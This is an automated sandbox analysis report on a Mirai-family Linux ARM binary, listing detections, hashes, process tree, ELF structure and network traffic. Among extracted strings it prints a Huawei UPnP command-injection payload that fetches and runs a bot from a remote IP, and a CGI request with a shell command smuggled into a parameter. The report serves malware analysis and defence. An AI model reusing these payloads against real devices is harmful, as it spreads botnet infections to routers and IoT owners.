Joe Sandbox Cloud Basic Analysis Report
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Linux Analysis Report
jkse.arm7.elf

Overview

General Information

Sample name:jkse.arm7.elf
Analysis ID:1643430
MD5:d7da242b9a367ccc59a19755786e6f07
SHA1:93f916f955ccd1c73967e3c354d090ca074e3463
SHA256:f8f42370b6179011354041a794a865b004be427bfbfe5a7af5de55c2e0b07401
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:56
Range:0 - 100

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Executes the "rm" command used to delete files or directories
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample contains strings that are potentially command strings
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious

General Information

Joe Sandbox version:42.0.0 Malachite
Analysis ID:1643430
Start date and time:2025-03-19 20:42:15 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 10m 45s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:jkse.arm7.elf
Detection:MAL
Classification:mal56.troj.linELF@0/0@2/0
Cookbook Comments:
  • Analysis time extended to 480s due to sleep detection in submitted sample
  • Max analysis timeout: 600s exceeded, the analysis took too long

Runtime Messages

Command:/tmp/jkse.arm7.elf
PID:5510
Exit Code:255
Exit Code Info:
Killed:False
Standard Output:

Standard Error:/lib/ld-uClibc.so.0: No such file or directory

Process Tree

  • system is lnxubuntu20
  • jkse.arm7.elf (PID: 5510, Parent: 5427, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/jkse.arm7.elf
  • dash New Fork (PID: 5549, Parent: 3633)
  • rm (PID: 5549, Parent: 3633, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.CVLRIwyObe /tmp/tmp.KmDux08azp /tmp/tmp.AsM4DOubX4
  • dash New Fork (PID: 5550, Parent: 3633)
  • cat (PID: 5550, Parent: 3633, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /tmp/tmp.CVLRIwyObe
  • dash New Fork (PID: 5551, Parent: 3633)
  • head (PID: 5551, Parent: 3633, MD5: fd96a67145172477dd57131396fc9608) Arguments: head -n 10
  • dash New Fork (PID: 5552, Parent: 3633)
  • tr (PID: 5552, Parent: 3633, MD5: fbd1402dd9f72d8ebfff00ce7c3a7bb5) Arguments: tr -d \\000-\\011\\013\\014\\016-\\037
  • dash New Fork (PID: 5553, Parent: 3633)
  • cut (PID: 5553, Parent: 3633, MD5: d8ed0ea8f22c0de0f8692d4d9f1759d3) Arguments: cut -c -80
  • dash New Fork (PID: 5554, Parent: 3633)
  • cat (PID: 5554, Parent: 3633, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /tmp/tmp.CVLRIwyObe
  • dash New Fork (PID: 5555, Parent: 3633)
  • head (PID: 5555, Parent: 3633, MD5: fd96a67145172477dd57131396fc9608) Arguments: head -n 10
  • dash New Fork (PID: 5556, Parent: 3633)
  • tr (PID: 5556, Parent: 3633, MD5: fbd1402dd9f72d8ebfff00ce7c3a7bb5) Arguments: tr -d \\000-\\011\\013\\014\\016-\\037
  • dash New Fork (PID: 5557, Parent: 3633)
  • cut (PID: 5557, Parent: 3633, MD5: d8ed0ea8f22c0de0f8692d4d9f1759d3) Arguments: cut -c -80
  • dash New Fork (PID: 5558, Parent: 3633)
  • rm (PID: 5558, Parent: 3633, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.CVLRIwyObe /tmp/tmp.KmDux08azp /tmp/tmp.AsM4DOubX4
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
jkse.arm7.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    5510.1.00007f4868017000.00007f486801f000.r-x.sdmpJoeSecurity_Mirai_6Yara detected MiraiJoe Security
      Process Memory Space: jkse.arm7.elf PID: 5510JoeSecurity_Mirai_6Yara detected MiraiJoe Security

        Suricata Signatures

        ⊘No Suricata rule has matched

        Joe Sandbox Signatures

        • • AV Detection
        • • Networking
        • • System Summary
        • • Persistence and Installation Behavior
        • • Malware Analysis System Evasion
        • • Stealing of Sensitive Information
        • • Remote Access Functionality

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Source: jkse.arm7.elfVirustotal: Detection: 48%Perma Link
        Source: jkse.arm7.elfReversingLabs: Detection: 50%
        Source: unknownTCP traffic detected without corresponding DNS query: 54.247.62.1
        Source: unknownTCP traffic detected without corresponding DNS query: 54.247.62.1
        Source: unknownTCP traffic detected without corresponding DNS query: 54.247.62.1
        Source: unknownTCP traffic detected without corresponding DNS query: 54.247.62.1
        Source: unknownTCP traffic detected without corresponding DNS query: 54.247.62.1
        Source: unknownTCP traffic detected without corresponding DNS query: 54.247.62.1
        Source: unknownTCP traffic detected without corresponding DNS query: 54.247.62.1
        Source: unknownTCP traffic detected without corresponding DNS query: 54.247.62.1
        Source: unknownTCP traffic detected without corresponding DNS query: 54.247.62.1
        Source: unknownTCP traffic detected without corresponding DNS query: 54.247.62.1
        Source: unknownTCP traffic detected without corresponding DNS query: 54.247.62.1
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: wget/1.20.3-1ubuntu1 Ubuntu/20.04.2/LTS GNU/Linux/5.4.0-72-generic/x86_64 Intel(R)/Xeon(R)/Silver/4210/CPU/@/2.20GHz cloud_id/noneAccept: */*Accept-Encoding: identityHost: motd.ubuntu.comConnection: Keep-Alive
        Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
        Source: jkse.arm7.elfString found in binary or memory: http://196.251.81.246/a
        Source: jkse.arm7.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
        Source: jkse.arm7.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 43390
        Source: unknownNetwork traffic detected: HTTP traffic on port 43390 -> 443
        Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 196.251.81.246 -l /tmp/darkbot -r /sh3; /bin/busybox chmod 777 * /tmp/darkbot; /tmp/darkbot)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
        Source: Initial samplePotential command found: GET /set_ftp.cgi?loginuse=
        Source: Initial samplePotential command found: GET /ftptest.cgi?loginuse=
        Source: Initial samplePotential command found: GET login.cgi HTTP/1.0
        Source: Initial samplePotential command found: GET /set_ftp.cgi?loginuse=&loginpas=&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28echo+-e+cd+/tmp+>>+/tmp/t%29 HTTP/1.0
        Source: Initial samplePotential command found: GET /ftptest.cgi?loginuse= HTTP/1.0
        Source: ELF static info symbol of initial sample.symtab present: no
        Source: classification engineClassification label: mal56.troj.linELF@0/0@2/0
        Source: /usr/bin/dash (PID: 5549)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.CVLRIwyObe /tmp/tmp.KmDux08azp /tmp/tmp.AsM4DOubX4Jump to behavior
        Source: /usr/bin/dash (PID: 5558)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.CVLRIwyObe /tmp/tmp.KmDux08azp /tmp/tmp.AsM4DOubX4Jump to behavior
        Source: /tmp/jkse.arm7.elf (PID: 5510)Queries kernel information via 'uname': Jump to behavior
        Source: jkse.arm7.elf, 5510.1.000055a693caf000.000055a693ddd000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/arm
        Source: jkse.arm7.elf, 5510.1.00007ffe170d4000.00007ffe170f5000.rw-.sdmpBinary or memory string: qemu: %s: %s
        Source: jkse.arm7.elf, 5510.1.00007ffe170d4000.00007ffe170f5000.rw-.sdmpBinary or memory string: leqemu: %s: %s
        Source: jkse.arm7.elf, 5510.1.000055a693caf000.000055a693ddd000.rw-.sdmpBinary or memory string: Urg.qemu.gdb.arm.sys.regs">
        Source: jkse.arm7.elf, 5510.1.000055a693caf000.000055a693ddd000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
        Source: jkse.arm7.elf, 5510.1.00007ffe170d4000.00007ffe170f5000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
        Source: jkse.arm7.elf, 5510.1.000055a693caf000.000055a693ddd000.rw-.sdmpBinary or memory string: rg.qemu.gdb.arm.sys.regs">
        Source: jkse.arm7.elf, 5510.1.00007ffe170d4000.00007ffe170f5000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/jkse.arm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/jkse.arm7.elf

        Stealing of Sensitive Information

        barindex
        Source: Yara matchFile source: jkse.arm7.elf, type: SAMPLE
        Source: Yara matchFile source: 5510.1.00007f4868017000.00007f486801f000.r-x.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: jkse.arm7.elf PID: 5510, type: MEMORYSTR

        Remote Access Functionality

        barindex
        Source: Yara matchFile source: jkse.arm7.elf, type: SAMPLE
        Source: Yara matchFile source: 5510.1.00007f4868017000.00007f486801f000.r-x.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: jkse.arm7.elf PID: 5510, type: MEMORYSTR

        Mitre Att&ck Matrix

        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
        Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
        Command and Scripting Interpreter        		Path InterceptionPath Interception1
        File Deletion        		OS Credential Dumping11
        Security Software Discovery        		Remote ServicesData from Local System1
        Encrypted Channel        		Exfiltration Over Other Network MediumAbuse Accessibility Features
        CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media2
        Non-Application Layer Protocol        		Exfiltration Over BluetoothNetwork Denial of Service
        Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive3
        Application Layer Protocol        		Automated ExfiltrationData Encrypted for Impact
        Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin HookBinary PaddingNTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput Capture1
        Ingress Tool Transfer        		Traffic DuplicationData Destruction

        Malware Configuration

        ⊘No configs have been found

        Behavior Graph

        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Number of created Files
        • Is malicious
        • Internet
        behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1643430 Sample: jkse.arm7.elf Startdate: 19/03/2025 Architecture: LINUX Score: 56 14 54.247.62.1, 43390, 443 AMAZON-02US United States 2->14 16 daisy.ubuntu.com 2->16 18 Multi AV Scanner detection for submitted file 2->18 20 Yara detected Mirai 2->20 6 dash rm 2->6         started        8 dash cat 2->8         started        10 dash cut 2->10         started        12 8 other processes 2->12 signatures3 process4

        Screenshots

        Download Video

        Thumbnails

        This section contains all screenshots as thumbnails, including those not shown in the slideshow.


        windows-stand

        Antivirus, Machine Learning and Genetic Malware Detection

        Initial Sample

        SourceDetectionScannerLabelLink
        jkse.arm7.elf48%VirustotalBrowse
        jkse.arm7.elf50%ReversingLabsLinux.Trojan.Mirai

        Dropped Files

        ⊘No Antivirus matches

        Domains

        ⊘No Antivirus matches

        URLs

        ⊘No Antivirus matches

        Domains and IPs

        Download Network PCAP: filtered – full

        Contacted Domains

        NameIPActiveMaliciousAntivirus DetectionReputation
        daisy.ubuntu.com
        		162.213.35.25
        		truefalse
          		high

          Contacted URLs

          NameMaliciousAntivirus DetectionReputation
          https://motd.ubuntu.com/false
            		high
            NameSourceMaliciousAntivirus DetectionReputation
            http://schemas.xmlsoap.org/soap/encoding/jkse.arm7.elffalse
              		high
              http://196.251.81.246/ajkse.arm7.elffalse
                		high
                http://schemas.xmlsoap.org/soap/envelope/jkse.arm7.elffalse
                  		high

                  World Map of Contacted IPs

                  • No. of IPs < 25%
                  • 25% < No. of IPs < 50%
                  • 50% < No. of IPs < 75%
                  • 75% < No. of IPs

                  Public IPs

                  IPDomainCountryFlagASNASN NameMalicious
                  54.247.62.1
                  		unknownUnited States
                  		16509AMAZON-02USfalse

                  Joe Sandbox View / Context

                  IPs

                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                  54.247.62.1na.elfGet hashmaliciousPrometeiBrowse
                    na.elfGet hashmaliciousPrometeiBrowse
                      apep.arm.elfGet hashmaliciousUnknownBrowse
                        na.elfGet hashmaliciousPrometeiBrowse
                          rrrdsl.elfGet hashmaliciousUnknownBrowse
                            na.elfGet hashmaliciousPrometeiBrowse
                              powerpc.nn.elfGet hashmaliciousMiraiBrowse
                                na.elfGet hashmaliciousPrometeiBrowse
                                  m68k.elfGet hashmaliciousUnknownBrowse
                                    PwnKit32.elfGet hashmaliciousUnknownBrowse

                                      Domains

                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                      daisy.ubuntu.comjkse.ppc.elfGet hashmaliciousUnknownBrowse
                                      • 162.213.35.24
                                      jkse.arm6.elfGet hashmaliciousUnknownBrowse
                                      • 162.213.35.25
                                      jkse.arm.elfGet hashmaliciousUnknownBrowse
                                      • 162.213.35.24
                                      jkse.x86.elfGet hashmaliciousUnknownBrowse
                                      • 162.213.35.25
                                      nklarm6.elfGet hashmaliciousUnknownBrowse
                                      • 162.213.35.25
                                      zerarm6.elfGet hashmaliciousUnknownBrowse
                                      • 162.213.35.25
                                      jklarm6.elfGet hashmaliciousUnknownBrowse
                                      • 162.213.35.24
                                      resgod.ppc.elfGet hashmaliciousMiraiBrowse
                                      • 162.213.35.25
                                      resgod.arm.elfGet hashmaliciousMiraiBrowse
                                      • 162.213.35.24
                                      resgod.arm5.elfGet hashmaliciousMiraiBrowse
                                      • 162.213.35.25

                                      ASNs

                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                      AMAZON-02USna.elfGet hashmaliciousPrometeiBrowse
                                      • 52.212.150.54
                                      jkse.mips.elfGet hashmaliciousUnknownBrowse
                                      • 13.226.8.150
                                      SC-906-GVA DESHBANDHU.exeGet hashmaliciousFormBookBrowse
                                      • 13.248.169.48
                                      jkse.arm5.elfGet hashmaliciousUnknownBrowse
                                      • 34.245.97.29
                                      jkse.ppc.elfGet hashmaliciousUnknownBrowse
                                      • 13.57.193.155
                                      jkse.mpsl.elfGet hashmaliciousUnknownBrowse
                                      • 35.152.84.28
                                      nklmpsl.elfGet hashmaliciousUnknownBrowse
                                      • 54.119.229.234
                                      jkse.x86.elfGet hashmaliciousUnknownBrowse
                                      • 54.98.152.79
                                      nabppc.elfGet hashmaliciousUnknownBrowse
                                      • 13.53.40.237
                                      nklspc.elfGet hashmaliciousUnknownBrowse
                                      • 52.30.223.69

                                      JA3 Fingerprints

                                      ⊘No context

                                      Dropped Files

                                      ⊘No context

                                      Created / dropped Files

                                      ⊘No created / dropped files found

                                      Static File Info

                                      General

                                      File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
                                      Entropy (8bit):5.87634121569181
                                      TrID:
                                      • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                      File name:jkse.arm7.elf
                                      File size:32'039 bytes
                                      MD5:d7da242b9a367ccc59a19755786e6f07
                                      SHA1:93f916f955ccd1c73967e3c354d090ca074e3463
                                      SHA256:f8f42370b6179011354041a794a865b004be427bfbfe5a7af5de55c2e0b07401
                                      SHA512:4218b61bf2bc9cd1cb52e616aece218a9f763c4d88074d3cd1754989a8cca4319f1405b2ba304a446ee1ddfe8e71e6d2bfc1591ee2897948a26e7bfeac3f9ee4
                                      SSDEEP:768:b9h19ysBD432xkMgqi3kbWGTC4AIZbJM6/:b9hLBD43uJgv3kbz1PM6/
                                      TLSH:7CE27248E919233EC3E176FFDB9943CF33FA2B8977EA39258231565423C9B146635620
                                      File Content Preview:.ELF..............(.........4....y......4. ...(.........4...4...4...................................................................Tu..Tu..............Tu..Tu..Tu..\...................du..du..du..................Q.td............................/lib/ld-uCl

                                      Static ELF Info

                                      ELF header

                                      Class:ELF32
                                      Data:2's complement, little endian
                                      Version:1 (current)
                                      Machine:ARM
                                      Version Number:0x1
                                      Type:EXEC (Executable file)
                                      OS/ABI:UNIX - System V
                                      ABI Version:0
                                      Entry Point Address:0x8f08
                                      Flags:0x4000002
                                      ELF Header Size:52
                                      Program Header Offset:52
                                      Program Header Size:32
                                      Number of Program Headers:6
                                      Section Header Offset:31104
                                      Section Header Size:40
                                      Number of Section Headers:22
                                      Header String Table Index:21

                                      Sections

                                      NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                      NULL0x00x00x00x00x0000
                                      .interpPROGBITS0x80f40xf40x140x00x2A001
                                      .hashHASH0x81080x1080x2300x40x2A304
                                      .dynsymDYNSYM0x83380x3380x4700x100x2A414
                                      .dynstrSTRTAB0x87a80x7a80x20a0x00x2A001
                                      .rel.pltREL0x89b40x9b40x1d80x80x2A374
                                      .initPROGBITS0x8b8c0xb8c0x100x00x6AX004
                                      .pltPROGBITS0x8b9c0xb9c0x2d80x40x6AX004
                                      .textPROGBITS0x8e740xe740x5dcc0x00x6AX004
                                      .finiPROGBITS0xec400x6c400x100x00x6AX004
                                      .rodataPROGBITS0xec500x6c500x9040x00x2A004
                                      .eh_framePROGBITS0x175540x75540x40x00x3WA004
                                      .init_arrayINIT_ARRAY0x175580x75580x40x00x3WA004
                                      .fini_arrayFINI_ARRAY0x1755c0x755c0x40x00x3WA004
                                      .jcrPROGBITS0x175600x75600x40x00x3WA004
                                      .dynamicDYNAMIC0x175640x75640xb80x80x3WA404
                                      .gotPROGBITS0x1761c0x761c0xf80x40x3WA004
                                      .dataPROGBITS0x177140x77140x9c0x00x3WA004
                                      .bssNOBITS0x177b00x77b00xd4b40x00x3WA004
                                      .commentPROGBITS0x00x77b00x1120x00x0001
                                      .ARM.attributesARM_ATTRIBUTES0x00x78c20x160x00x0001
                                      .shstrtabSTRTAB0x00x78d80xa50x00x0001

                                      Program Segments

                                      TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                      PHDR0x340x80340x80340xc00xc02.25180x5R E0x4
                                      INTERP0xf40x80f40x80f40x140x143.68420x4R 0x1/lib/ld-uClibc.so.0.interp
                                      LOAD0x00x80000x80000x75540x75545.90490x5R E0x8000.interp .hash .dynsym .dynstr .rel.plt .init .plt .text .fini .rodata
                                      LOAD0x75540x175540x175540x25c0xd7103.92030x6RW 0x8000.eh_frame .init_array .fini_array .jcr .dynamic .got .data .bss
                                      DYNAMIC0x75640x175640x175640xb80xb82.09530x6RW 0x4.dynamic
                                      GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

                                      Dynamic Tags

                                      TypeMetaValueTag
                                      DT_NEEDEDsharedliblibc.so.00x1
                                      DT_INITvalue0x8b8c0xc
                                      DT_FINIvalue0xec400xd
                                      DT_INIT_ARRAYvalue0x175580x19
                                      DT_INIT_ARRAYSZbytes40x1b
                                      DT_FINI_ARRAYvalue0x1755c0x1a
                                      DT_FINI_ARRAYSZbytes40x1c
                                      DT_HASHvalue0x81080x4
                                      DT_STRTABvalue0x87a80x5
                                      DT_SYMTABvalue0x83380x6
                                      DT_STRSZbytes5220xa
                                      DT_SYMENTbytes160xb
                                      DT_DEBUGvalue0x00x15
                                      DT_PLTGOTvalue0x1761c0x3
                                      DT_PLTRELSZbytes4720x2
                                      DT_PLTRELpltrelDT_REL0x14
                                      DT_JMPRELvalue0x89b40x17
                                      DT_NULLvalue0x00x0

                                      Symbols

                                      NameVersion Info NameVersion Info File NameSection NameValueSizeSymbol TypeSymbol BindSymbol VisibilityNdx
                                      .dynsym0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
                                      __bss_end__.dynsym0x24c640NOTYPE<unknown>DEFAULTSHN_ABS
                                      __bss_start.dynsym0x177b00NOTYPE<unknown>DEFAULTSHN_ABS
                                      __bss_start__.dynsym0x177b00NOTYPE<unknown>DEFAULTSHN_ABS
                                      __data_start.dynsym0x177140NOTYPE<unknown>DEFAULT17
                                      __end__.dynsym0x24c640NOTYPE<unknown>DEFAULTSHN_ABS
                                      __errno_location.dynsym0x8dcc32FUNC<unknown>DEFAULTSHN_UNDEF
                                      __exidx_end.dynsym0xf5540NOTYPE<unknown>DEFAULTSHN_ABS
                                      __exidx_start.dynsym0xf5540NOTYPE<unknown>DEFAULTSHN_ABS
                                      __uClibc_main.dynsym0x8d48848FUNC<unknown>DEFAULTSHN_UNDEF
                                      _bss_end__.dynsym0x24c640NOTYPE<unknown>DEFAULTSHN_ABS
                                      _edata.dynsym0x177b00NOTYPE<unknown>DEFAULTSHN_ABS
                                      _end.dynsym0x24c640NOTYPE<unknown>DEFAULTSHN_ABS
                                      _exit.dynsym0x8df0104FUNC<unknown>DEFAULTSHN_UNDEF
                                      _start.dynsym0x8f0880FUNC<unknown>DEFAULT8
                                      abort.dynsym0x8c88296FUNC<unknown>DEFAULTSHN_UNDEF
                                      atoi.dynsym0x8de432FUNC<unknown>DEFAULTSHN_UNDEF
                                      calloc.dynsym0x8c94320FUNC<unknown>DEFAULTSHN_UNDEF
                                      clock.dynsym0x8e1452FUNC<unknown>DEFAULTSHN_UNDEF
                                      close.dynsym0x8e38100FUNC<unknown>DEFAULTSHN_UNDEF
                                      connect.dynsym0x8bd4116FUNC<unknown>DEFAULTSHN_UNDEF
                                      exit.dynsym0x8dd8196FUNC<unknown>DEFAULTSHN_UNDEF
                                      fcntl.dynsym0x8e2c244FUNC<unknown>DEFAULTSHN_UNDEF
                                      fork.dynsym0x8d3c972FUNC<unknown>DEFAULTSHN_UNDEF
                                      free.dynsym0x8e50572FUNC<unknown>DEFAULTSHN_UNDEF
                                      getpid.dynsym0x8bf872FUNC<unknown>DEFAULTSHN_UNDEF
                                      getppid.dynsym0x8d8420FUNC<unknown>DEFAULTSHN_UNDEF
                                      getsockname.dynsym0x8e6868FUNC<unknown>DEFAULTSHN_UNDEF
                                      getsockopt.dynsym0x8db472FUNC<unknown>DEFAULTSHN_UNDEF
                                      htonl.dynsym0x8d1832FUNC<unknown>DEFAULTSHN_UNDEF
                                      htons.dynsym0x8dc016FUNC<unknown>DEFAULTSHN_UNDEF
                                      inet_addr.dynsym0x8cc440FUNC<unknown>DEFAULTSHN_UNDEF
                                      ioctl.dynsym0x8bbc224FUNC<unknown>DEFAULTSHN_UNDEF
                                      kill.dynsym0x8cac56FUNC<unknown>DEFAULTSHN_UNDEF
                                      malloc.dynsym0x8c342360FUNC<unknown>DEFAULTSHN_UNDEF
                                      memcpy.dynsym0x8c104FUNC<unknown>DEFAULTSHN_UNDEF
                                      memmove.dynsym0x8bec4FUNC<unknown>DEFAULTSHN_UNDEF
                                      memset.dynsym0x8d60156FUNC<unknown>DEFAULTSHN_UNDEF
                                      ntohl.dynsym0x8cd032FUNC<unknown>DEFAULTSHN_UNDEF
                                      ntohs.dynsym0x8d7816FUNC<unknown>DEFAULTSHN_UNDEF
                                      open.dynsym0x8e08100FUNC<unknown>DEFAULTSHN_UNDEF
                                      perror.dynsym0x8c1c116FUNC<unknown>DEFAULTSHN_UNDEF
                                      prctl.dynsym0x8c0468FUNC<unknown>DEFAULTSHN_UNDEF
                                      raise.dynsym0x8e44240FUNC<unknown>DEFAULTSHN_UNDEF
                                      rand.dynsym0x8cf424FUNC<unknown>DEFAULTSHN_UNDEF
                                      read.dynsym0x8d0c100FUNC<unknown>DEFAULTSHN_UNDEF
                                      recv.dynsym0x8bc8112FUNC<unknown>DEFAULTSHN_UNDEF
                                      recvfrom.dynsym0x8c4c136FUNC<unknown>DEFAULTSHN_UNDEF
                                      select.dynsym0x8c64132FUNC<unknown>DEFAULTSHN_UNDEF
                                      send.dynsym0x8c7c112FUNC<unknown>DEFAULTSHN_UNDEF
                                      sendto.dynsym0x8d24136FUNC<unknown>DEFAULTSHN_UNDEF
                                      setsid.dynsym0x8e2064FUNC<unknown>DEFAULTSHN_UNDEF
                                      setsockopt.dynsym0x8cdc72FUNC<unknown>DEFAULTSHN_UNDEF
                                      shutdown.dynsym0x8da868FUNC<unknown>DEFAULTSHN_UNDEF
                                      sigaddset.dynsym0x8c7080FUNC<unknown>DEFAULTSHN_UNDEF
                                      sigemptyset.dynsym0x8be020FUNC<unknown>DEFAULTSHN_UNDEF
                                      signal.dynsym0x8d00196FUNC<unknown>DEFAULTSHN_UNDEF
                                      sigprocmask.dynsym0x8e5c140FUNC<unknown>DEFAULTSHN_UNDEF
                                      sleep.dynsym0x8c40272FUNC<unknown>DEFAULTSHN_UNDEF
                                      socket.dynsym0x8c5868FUNC<unknown>DEFAULTSHN_UNDEF
                                      srand.dynsym0x8d6c164FUNC<unknown>DEFAULTSHN_UNDEF
                                      strcat.dynsym0x8cb840FUNC<unknown>DEFAULTSHN_UNDEF
                                      strcmp.dynsym0x8d9c28FUNC<unknown>DEFAULTSHN_UNDEF
                                      strcpy.dynsym0x8bb036FUNC<unknown>DEFAULTSHN_UNDEF
                                      strdup.dynsym0x8d5452FUNC<unknown>DEFAULTSHN_UNDEF
                                      strlen.dynsym0x8dfc96FUNC<unknown>DEFAULTSHN_UNDEF
                                      strstr.dynsym0x8ce8252FUNC<unknown>DEFAULTSHN_UNDEF
                                      strtok.dynsym0x8d3048FUNC<unknown>DEFAULTSHN_UNDEF
                                      system.dynsym0x8c28132FUNC<unknown>DEFAULTSHN_UNDEF
                                      time.dynsym0x8d9048FUNC<unknown>DEFAULTSHN_UNDEF
                                      write.dynsym0x8ca0100FUNC<unknown>DEFAULTSHN_UNDEF

                                      Network Behavior

                                      Download Network PCAP: filtered – full

                                      Network Port Distribution

                                      • Total Packets: 13
                                      • • 443 (HTTPS)
                                      • • 53 (DNS)
                                      TimestampSource PortDest PortSource IPDest IP
                                      Mar 19, 2025 20:43:33.506056070 CET43390443192.168.2.1454.247.62.1
                                      Mar 19, 2025 20:43:33.506110907 CET4434339054.247.62.1192.168.2.14
                                      Mar 19, 2025 20:43:33.506195068 CET43390443192.168.2.1454.247.62.1
                                      Mar 19, 2025 20:43:33.507747889 CET43390443192.168.2.1454.247.62.1
                                      Mar 19, 2025 20:43:33.507764101 CET4434339054.247.62.1192.168.2.14
                                      Mar 19, 2025 20:43:40.573796988 CET4434339054.247.62.1192.168.2.14
                                      Mar 19, 2025 20:43:40.574039936 CET43390443192.168.2.1454.247.62.1
                                      Mar 19, 2025 20:43:40.574170113 CET43390443192.168.2.1454.247.62.1
                                      Mar 19, 2025 20:43:40.574179888 CET4434339054.247.62.1192.168.2.14
                                      Mar 19, 2025 20:43:40.575668097 CET4434339054.247.62.1192.168.2.14
                                      Mar 19, 2025 20:43:40.575746059 CET43390443192.168.2.1454.247.62.1
                                      Mar 19, 2025 20:43:40.576561928 CET43390443192.168.2.1454.247.62.1
                                      Mar 19, 2025 20:43:40.576679945 CET4434339054.247.62.1192.168.2.14
                                      Mar 19, 2025 20:43:40.576728106 CET43390443192.168.2.1454.247.62.1
                                      Mar 19, 2025 20:43:40.576735973 CET4434339054.247.62.1192.168.2.14
                                      Mar 19, 2025 20:43:40.576775074 CET43390443192.168.2.1454.247.62.1
                                      Mar 19, 2025 20:43:41.190486908 CET4434339054.247.62.1192.168.2.14
                                      Mar 19, 2025 20:43:41.190589905 CET4434339054.247.62.1192.168.2.14
                                      Mar 19, 2025 20:43:41.191344976 CET43390443192.168.2.1454.247.62.1
                                      Mar 19, 2025 20:43:41.191684961 CET43390443192.168.2.1454.247.62.1
                                      Mar 19, 2025 20:43:41.191720009 CET4434339054.247.62.1192.168.2.14
                                      TimestampSource PortDest PortSource IPDest IP
